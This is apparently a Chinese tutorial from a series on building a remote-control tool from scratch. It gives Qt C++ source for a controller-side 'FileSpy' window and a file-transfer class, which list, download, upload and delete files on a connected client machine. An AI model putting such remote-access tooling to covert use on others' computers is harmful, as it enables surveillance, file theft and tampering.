如果你从没看过这系列教程请点击:从零开始做远控 简介篇
文件监控之查找/删除/下载/上传
这两节主要实现四个功能:文件查找,删除,下载,上传。
效果图:
下载:
上传:
这节主要做服务端:
FileSpy类:1.首先创建一个基于QWidget的FileSpy类用来做监控。
filespy.h
/*
* Author: sumkee911@gmail.com
* Date: 2016-12-23
* Brief: 从客户端查找文件,删除文件,下载文件,上传文件
*
*/
#ifndef FILESPY_H
#define FILESPY_H
#include <QWidget>
#include <QLabel>
#include <QApplication>
#include <QDesktopWidget>
#include <QListWidget>
#include "tcpserver.h"
#include "tcpsocket.h"
#include <QMenu>
#include <QDir>
#include <QFileIconProvider>
#include <QMessageBox>
#include "filetransfer.h"
class FileSpy : public QWidget
{
Q_OBJECT
public:
explicit FileSpy(QWidget *parent = 0);
// 服务端向客户端发送的指令(你觉得有需要你也可以增加自己的指令)
const QByteArray CmdGetDirFiles = "GET_DIRS_FILES"; // 获取路径下的所有文件名和路径名
const QByteArray CmdDownloadFile = "DOWNLOAD_FILE"; // 服务端从客户也下载文件
const QByteArray CmdUploadFile = "UPLOAD_FILE"; // 服务端上传文件到客户端
const QByteArray CmdDeleteFile = "DELETE_FILE"; // 服务端在客户端删除文件
// 客户端向服务端发送的指令(你觉得有需要你也可以增加自己的指令)
const QByteArray CmdSendDrives = "SEND_DRIVES"; // 发送盘符
const QByteArray CmdSendDirs = "SEND_DIRS"; // 发送路径下的所有路径名
const QByteArray CmdSendFiles = "SEND_FILES"; // 发送路径下的所有文件名
const QByteArray CmdDeleteFileSuccess = "DELETE_SUCCESS"; // 成功删除文件
const QByteArray CmdDeleteFileFailed = "DELETE_FAILED"; // 删除文件失败
// 分割符号和结束符号,比如获取文件夹所有文件命令:FILES<分割符>FILEA<文件分割符>FILEB<文件分割符>FILEC<结束符号>
const QByteArray CmdSplit = ";";
const QByteArray CmdEnd = "\r\n";
const QByteArray CmdFileSplit = "|";
// 开始监控服务器,然后返回新的端口号
int startFileSpyServer(QString userName);
private:
QListWidget *mClientFileList; // 客户端文件列表
QListWidget *mServerFileList; // 本机文件列表
QMenu *mClientMenu; // 对客户端列表的操作菜单
QMenu *mServerMenu; // 对本机列表的操作菜单
QDir _curClientDir; // 当前客户路径
QDir _curServerDir; // 当前本机路径
TcpServer *mServer; // 文件监控服务端
TcpSocket *mSock; // 客户端
QString _userName;
// 对列表的操作
const QByteArray _dirBack = ".."; // 返回上一页
void addFilesToList(QListWidget *list, QList<QByteArray> strList, QFileIconProvider::IconType iconType);
QString getCurrentFile(QListWidget *list);
QList<QByteArray> getLocalDrives();
QList<QByteArray> getLocalDirs(QDir dir);
QList<QByteArray> getLocalFiles(QDir dir);
// 处理指令
void processCommand(QByteArray &cmd, QByteArray &args);
// 分解指令的参数,反回哈希表
QHash<QByteArray, QByteArray> parseArgs(QByteArray &args);
// 处理相应的指令
void doSendDrives(QHash<QByteArray, QByteArray> &args);
void doSendDirs(QHash<QByteArray, QByteArray> &args);
void doSendFiles(QHash<QByteArray, QByteArray> &args);
signals:
public slots:
// 加载客户端目录
void loadClientDir(QListWidgetItem *item);
// 刷新客户列表
void refreshClientList();
// 刷新客户列表
void refreshClientList(QDir dir);
// 下载文件
void downloadFile();
// 删除文件
void deleteFile();
// 加载本机目录
void loadServerDir(QListWidgetItem *item);
void loadServerDir(QDir dir);
// 刷新本机列表
void refreshServerList();
// 上传本机文件
void uploadFile();
// 有新客户连接
void newConnection(QTcpSocket *s);
// 处理新数据
void processBuffer();
protected:
// 事件过滤,主要用来截取弹出菜单事件
bool eventFilter(QObject *watched, QEvent *event);
// 关闭
void closeEvent(QCloseEvent *);
};
#endif // FILESPY_H
filespy.cpp
#include "filespy.h"
FileSpy::FileSpy(QWidget *parent) : QWidget(parent), mSock(0)
{
// 初始化路径
_curClientDir.setPath("");
_curServerDir.setPath(QDir::currentPath());
// 初始化窗口
const int w = 500, h = 600;
const int x = (QApplication::desktop()->width() - w) >> 1;
const int y = (QApplication::desktop()->height() - h) >> 1;
this->setGeometry(x, y, w, h);
this->setMinimumSize(w, h);
this->setMaximumSize(w, h);
// 设置提示
QLabel *lbClient = new QLabel("客户端电脑:", this);
lbClient->setGeometry(10,10,100,20);
QLabel *lbServer = new QLabel("我的电脑:", this);
lbServer->setGeometry(10,300,100,30);
// 设置文件列表
mClientFileList = new QListWidget(this);
mClientFileList->setGeometry(10,30,480,260);
connect(mClientFileList, SIGNAL(itemDoubleClicked(QListWidgetItem*)), this, SLOT(loadClientDir(QListWidgetItem *)));
mServerFileList = new QListWidget(this);
mServerFileList->setGeometry(10,330,480,260);
connect(mServerFileList, SIGNAL(itemDoubleClicked(QListWidgetItem*)), this, SLOT(loadServerDir(QListWidgetItem *)));
// 客户端列表的操作菜单
mClientMenu = new QMenu(this);
QAction *actClientRefresh = mClientMenu->addAction("刷新");
connect(actClientRefresh,SIGNAL(triggered(bool)), this, SLOT(refreshClientList()));
QAction *actDownload = mClientMenu->addAction("下载");
connect(actDownload,SIGNAL(triggered(bool)), this,SLOT(downloadFile()));
QAction *actDelete = mClientMenu->addAction("删除");
connect(actDelete, SIGNAL(triggered(bool)), this, SLOT(deleteFile()));
// 在列表中增加鼠标事件监控,当右击点下时就能弹出菜单
mClientFileList->installEventFilter(this);
// 本机列表的操作菜单
mServerMenu = new QMenu(this);
QAction *actServerRefresh = mServerMenu->addAction("刷新");
connect(actServerRefresh,SIGNAL(triggered(bool)), this, SLOT(refreshServerList()));
QAction *actUpload= mServerMenu->addAction("上传");
connect(actUpload,SIGNAL(triggered(bool)), this,SLOT(uploadFile()));
// 在列表中增加鼠标事件监控,当右击点下时就能弹出菜单
mServerFileList->installEventFilter(this);
}
int FileSpy::startFileSpyServer(QString userName)
{
// 设置窗口标题
_userName = userName;
this->setWindowTitle(userName.append("-文件监控"));
// 开启新的服务端
mServer = new TcpServer(this);
connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));
mServer->start(0);
if (!mServer->server()->isListening()) {
qDebug() << "开启文件监控服务端失败";
deleteLater();
return -1;
}
// 开启监控窗口
this->show();
return mServer->server()->serverPort();
}
void FileSpy::addFilesToList(QListWidget *list, QList<QByteArray> strList, QFileIconProvider::IconType iconType)
{
foreach (QByteArray bs, strList) {
QString s = QString::fromLocal8Bit(bs);
if (s.size() > 0) {
QListWidgetItem *item = new QListWidgetItem(list);
// 设置头像
item->setIcon(QFileIconProvider().icon(iconType));
// 增加文件到列表
item->setText(s);
list->addItem(item);
}
}
}
QString FileSpy::getCurrentFile(QListWidget *list)
{
if (list->currentRow() >= 0) {
return list->item(list->currentRow())->text();
}
return "";
}
QList<QByteArray> FileSpy::getLocalDrives()
{
// 获取本机盘符
QFileInfoList fileList = QDir::drives();
QList<QByteArray> baList;
foreach(QFileInfo info , fileList) {
baList.append(info.filePath().toLocal8Bit());
}
return baList;
}
QList<QByteArray> FileSpy::getLocalDirs(QDir dir)
{
// 获取目录下的所有目录
QList<QByteArray> baList;
QList<QString> strList = dir.entryList(QDir::Dirs);
foreach(QString s, strList) {
if (s!="." && s!="..") {
baList.append(s.toLocal8Bit());
}
}
return baList;
}
QList<QByteArray> FileSpy::getLocalFiles(QDir dir)
{
// 获取本机目录下的文件
QList<QByteArray> baList;
QList<QString> strList = dir.entryList(QDir::Files);
foreach(QString s, strList) {
baList.append(s.toLocal8Bit());
}
return baList;
}
void FileSpy::processCommand(QByteArray &cmd, QByteArray &args)
{
cmd = cmd.toUpper().trimmed();
QHash<QByteArray, QByteArray> hashArgs = parseArgs(args);
// 获取所有盘符
if (cmd == CmdSendDrives) {
doSendDrives(hashArgs);
return;
}
// 获取客户端目录下的所有目录
if (cmd == CmdSendDirs) {
doSendDirs(hashArgs);
return;
}
// 获取客户端目录下的所有文件
if (cmd == CmdSendFiles) {
doSendFiles(hashArgs);
return;
}
// 删除文件成功
if (cmd == CmdDeleteFileSuccess) {
QMessageBox::information(this, "提示","删除文件成功");
return;
}
// 删除文件失败
if (cmd == CmdDeleteFileFailed) {
QMessageBox::warning(this, "提示","删除文件失败");
return;
}
}
QHash<QByteArray, QByteArray> FileSpy::parseArgs(QByteArray &args)
{
QList<QByteArray> listArgs = args.split(CmdSplit[0]);
// 分解参数,然后把它加入哈希表
QHash<QByteArray, QByteArray> hashArgs;
for(int i=0; i<listArgs.length()-1 ; i+=2) {
hashArgs.insert(listArgs[i].toUpper().trimmed(),
listArgs[i+1].trimmed());
}
return hashArgs;
}
void FileSpy::doSendDrives(QHash<QByteArray, QByteArray> &args)
{
// 重设路径
_curClientDir.setPath("");
// 清空列表
mClientFileList->clear();
// 打印到列表上
QList<QByteArray> strList = args["DRIVES"].split(CmdFileSplit[0]);
addFilesToList(mClientFileList, strList, QFileIconProvider::Drive);
}
void FileSpy::doSendDirs(QHash<QByteArray, QByteArray> &args)
{
// 重设路径
_curClientDir.setPath(QString::fromLocal8Bit(args["DIR"]));
// 清空列表
mClientFileList->clear();
// 打印到列表上
QList<QByteArray> strList = args["DIRS"].split(CmdFileSplit[0]);
// 返回上一页名字
strList.push_front(_dirBack);
addFilesToList(mClientFileList, strList, QFileIconProvider::Folder);
}
void FileSpy::doSendFiles(QHash<QByteArray, QByteArray> &args)
{
// 打印到列表上
QList<QByteArray> strList = args["FILES"].split(CmdFileSplit[0]);
addFilesToList(mClientFileList, strList, QFileIconProvider::File);
}
void FileSpy::loadClientDir(QListWidgetItem *item)
{
// 双击后加载新文件夹
QDir dir = _curClientDir;
dir.cd(item->text());
if (dir == _curClientDir) {
dir.setPath("");
_curClientDir.setPath("");
}
refreshClientList(dir);
}
void FileSpy::refreshClientList()
{
if (mSock) {
// 获取当前路径下的所有文件
QString data;
data.append(CmdGetDirFiles+CmdSplit);
data.append("DIR"+CmdSplit+_curClientDir.absolutePath());
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}
}
void FileSpy::refreshClientList(QDir dir)
{
if (mSock) {
// 获取当前路径下的所有文件
QString data;
data.append(CmdGetDirFiles+CmdSplit);
data.append("DIR"+CmdSplit+dir.absolutePath());
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}
}
void FileSpy::downloadFile()
{
QString fileName = getCurrentFile(mClientFileList);
if (mSock) {
// 开始接收文件
QDir serverDir = _curServerDir.absoluteFilePath(fileName);
QDir clientDir = _curClientDir.absoluteFilePath(fileName);
FileTransfer *ft = new FileTransfer();
int port = ft->startRecvFileServer(_userName,serverDir.path());
if (port != -1) {
// 发送下载命令
QString data;
data.append(CmdDownloadFile+CmdSplit);
data.append("FILE_PATH"+CmdSplit+clientDir.path()+CmdSplit);
data.append("PORT"+CmdSplit+QString::number(port));
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}
}
}
void FileSpy::deleteFile()
{
if (mSock) {
// 删除当前文件
QString file = getCurrentFile(mClientFileList);
if (file.size() > 0) {
QString path = _curClientDir.absoluteFilePath(file);
qDebug() << path;
// 发送数据
QString data;
data.append(CmdDeleteFile+CmdSplit);
data.append("FILE_PATH"+CmdSplit+path);
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
// 刷新列表
refreshClientList();
}
}
}
void FileSpy::loadServerDir(QListWidgetItem *item)
{
// 双击后加载新文件夹
QDir dir = _curServerDir;
dir.cd(item->text());
if (dir == _curServerDir) {
dir.setPath("");
}
_curServerDir = dir;
loadServerDir(dir);
}
void FileSpy::loadServerDir(QDir dir)
{
if (dir.path() == "") {
// 获取盘符
QList<QByteArray> driveList = getLocalDrives();
// 清空列表
mServerFileList->clear();
addFilesToList(mServerFileList, driveList, QFileIconProvider::Drive);
} else {
// 获取路径
QList<QByteArray> dirList = getLocalDirs(dir);
// 获取文件
QList<QByteArray> fileList = getLocalFiles(dir);
// 清空列表
mServerFileList->clear();
dirList.push_front(_dirBack);
addFilesToList(mServerFileList, dirList, QFileIconProvider::Folder);
addFilesToList(mServerFileList, fileList, QFileIconProvider::File);
}
}
void FileSpy::refreshServerList()
{
loadServerDir(_curServerDir);
}
void FileSpy::uploadFile()
{
QString fileName = getCurrentFile(mServerFileList);
if (mSock && fileName.size() > 0) {
// 开始接收文件
QDir serverDir = _curServerDir.absoluteFilePath(fileName);
QDir clientDir = _curClientDir.absoluteFilePath(fileName);
FileTransfer *ft = new FileTransfer();
int port = ft->startSendFileServer(_userName,serverDir.path());
if (port != -1) {
// 发送下载命令
QString data;
data.append(CmdUploadFile+CmdSplit);
data.append("FILE_PATH"+CmdSplit+clientDir.path()+CmdSplit);
data.append("PORT"+CmdSplit+QString::number(port));
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}
}
}
void FileSpy::newConnection(QTcpSocket *s)
{
// 新增客户
mSock = new TcpSocket(s, this);
connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));
connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));
// 获取客户端盘符
refreshClientList();
// 获取本机当前目录
refreshServerList();
// 不再监听新客户
mServer->server()->close();
}
void FileSpy::processBuffer()
{
// 从socket里获取缓存区
QByteArray *buf = mSock->buffer();
int endIndex;
while ((endIndex = buf->indexOf(CmdEnd)) > -1) {
// 提取一行指令
QByteArray data = buf->mid(0, endIndex);
buf->remove(0, endIndex + CmdEnd.length());
// 提取指令和参数
QByteArray cmd, args;
int argIndex = data.indexOf(CmdSplit);
if (argIndex == -1) {
cmd = data;
} else {
cmd = data.mid(0, argIndex);
args = data.mid(argIndex+CmdSplit.length(), data.length());
}
// 处理指令
processCommand(cmd, args);
}
}
bool FileSpy::eventFilter(QObject *watched, QEvent *event)
{
// 右键弹出菜单
if (watched == (QObject*)mClientFileList) {
if (event->type() == QEvent::ContextMenu) {
mClientMenu->exec(QCursor::pos());
}
} else if (watched==(QObject*)mServerFileList) {
if (event->type() == QEvent::ContextMenu) {
mServerMenu->exec(QCursor::pos());
}
}
return QObject::eventFilter(watched, event);
}
void FileSpy::closeEvent(QCloseEvent *)
{
// 删除窗口
deleteLater();
}
FileTransfer类:
1.创建一个基于QObject得FileTransfer类来做文件发收
filetransfer.h
/*
* Author: sumkee911@gmail.com
* Date: 2016-12-24
* Brief: 用于文件的传送或接收
*
*/
#ifndef FILETRANSFER_H
#define FILETRANSFER_H
#include <QObject>
#include <QProgressDialog>
#include "tcpserver.h"
#include "tcpsocket.h"
#include <QFile>
#include <QDir>
class FileTransfer : public QObject
{
Q_OBJECT
public:
explicit FileTransfer(QObject *parent = 0);
// 文件数据包头
typedef struct {
char fileName[256];
unsigned int len;
} FileHeader;
// 开始文件接收服务器,然后返回新的端口号
int startRecvFileServer(QString userName, QString filePath);
// 开始文件传送服务器,然后返回新的端口号
int startSendFileServer(QString userName, QString filePath);
private:
QProgressDialog *mProgress; // 进度条窗口
TcpServer *mServer; // 服务端
TcpSocket *mSock; // 客户端
QFile mFile; // 文件
FileHeader mHeader; // 文件头
unsigned int _curWritten; // 已经写入数据
signals:
public slots:
void close();
// 用户连接
void newRecvFileConnection(QTcpSocket *);
void newSendFileConnection(QTcpSocket *);
// 接收文件数据
void recvData();
// 发送数据
void sendData();
};
#endif // FILETRANSFER_H
filetransfer.cpp
#include "filetransfer.h"
FileTransfer::FileTransfer(QObject *parent) : QObject(parent)
{
// 初始化
mHeader.len = 0;
}
int FileTransfer::startRecvFileServer(QString userName, QString filePath)
{
// 打开文件
mFile.setFileName(filePath);
if (!mFile.open(QFile::WriteOnly)) {
return -1;
}
// 开启新的服务端
mServer = new TcpServer(this);
connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newRecvFileConnection(QTcpSocket*)));
mServer->start(0);
if (!mServer->server()->isListening()) {
qDebug() << "开启文件接收服务端失败";
deleteLater();
return -1;
}
// 开启进度条窗口
mProgress = new QProgressDialog();
mProgress->setWindowTitle(QString("从%0客户下载到%1").arg(userName).arg(filePath));
mProgress->open(this, SLOT(close()));
mProgress->setMinimumSize(500,mProgress->height());
return mServer->server()->serverPort();
}
int FileTransfer::startSendFileServer(QString userName, QString filePath)
{
// 打开文件
mFile.setFileName(filePath);
if (!mFile.open(QFile::ReadOnly)) {
return -1;
}
// 开启新的服务端
mServer = new TcpServer(this);
connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newSendFileConnection(QTcpSocket*)));
mServer->start(0);
if (!mServer->server()->isListening()) {
qDebug() << "开启文件传送服务端失败";
deleteLater();
return -1;
}
// 开启进度条窗口
mProgress = new QProgressDialog();
mProgress->setWindowTitle(QString("上传文件%0到%1客户").arg(filePath).arg(userName));
mProgress->setMinimumSize(500,mProgress->height());
mProgress->open(this, SLOT(close()));
return mServer->server()->serverPort();
}
void FileTransfer::close()
{
// 释放
mProgress->deleteLater();
deleteLater();
mFile.close();
}
void FileTransfer::newRecvFileConnection(QTcpSocket *socket)
{
// 新增客户
mSock = new TcpSocket(socket, this);
connect(mSock,SIGNAL(newData()), this, SLOT(recvData()));
connect(mSock, SIGNAL(disconnected()), this, SLOT(close()));
// 不再监听新客户
mServer->server()->close();
}
void FileTransfer::newSendFileConnection(QTcpSocket *socket)
{
// 新增客户
mSock = new TcpSocket(socket, this);
connect(mSock, SIGNAL(disconnected()), this, SLOT(close()));
// 开始传送
sendData();
// 不再监听新客户
mServer->server()->close();
}
void FileTransfer::recvData()
{
QByteArray *buf = mSock->buffer();
// 读取头
if (mHeader.len == 0) {
if ((unsigned int)buf->size() >= sizeof(FileHeader)) {
memcpy(&mHeader, buf->data(), sizeof(FileHeader));
buf->remove(0, sizeof(FileHeader));
// 当前写入清零
_curWritten = 0;
// 设置进度条
mProgress->setRange(0, mHeader.len);
}
}
if (mHeader.len > 0 && buf->size() > 0) {
// 增加已写入数据
_curWritten += buf->size();
// 写数据到文件里
mFile.write(buf->data(), buf->size());
mFile.flush();
buf->clear();
// 更新进度条
mProgress->setValue(_curWritten);
}
// 如果已经完成就退出
if (_curWritten >= mHeader.len) {
close();
}
}
void FileTransfer::sendData()
{
// 发送文件数据
unsigned int len = mFile.size();
unsigned int pos = 0;
unsigned int packetSize = 800;
// 设置进度条范围
mProgress->setRange(0, len);
while (pos < len) {
int sendSize = pos+packetSize < len ? packetSize : len-pos;
QByteArray data = mFile.read(sendSize);
// 发送
mSock->write(data);
pos += sendSize;
// 设置进度条当前位置
mProgress->setValue(pos);
}
// 完成
close();
}
大致和屏幕监控那节一样,请按这里下载本节完整代码: